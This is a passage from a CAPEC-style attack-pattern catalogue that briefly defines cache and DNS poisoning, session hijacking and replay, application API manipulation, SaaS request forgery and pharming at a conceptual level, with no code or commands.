An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-160: Exploit Script-Based APIs
Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support <script> tags that allow scripting languages to be embedded in the page and then interpreted by the receiving web browser. If the content provider is malicious, these scripts can compromise the client application. Some applications may even execute the scripts under their own identity (rather than the identity of the user providing the script) which can allow attackers to perform activities that would otherwise be denied to them.
CAPEC-21: Exploitation of Trusted Identifiers
An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-510: SaaS User Request Forgery
An adversary, through a previously installed malicious application, performs malicious actions against a third-party Software as a Service (SaaS) application (also known as a cloud based application) by leveraging the persistent and implicit trust placed on a trusted user's session. This attack is executed after a trusted user is authenticated into a cloud service, "piggy-backing" on the authenticated session, and exploiting the fact that the cloud service believes it is only interacting with the trusted user. If successful, the actions embedded in the malicious application will be processed and accepted by the targeted SaaS application and executed at the trusted user's privilege level.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-89: Pharming
A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.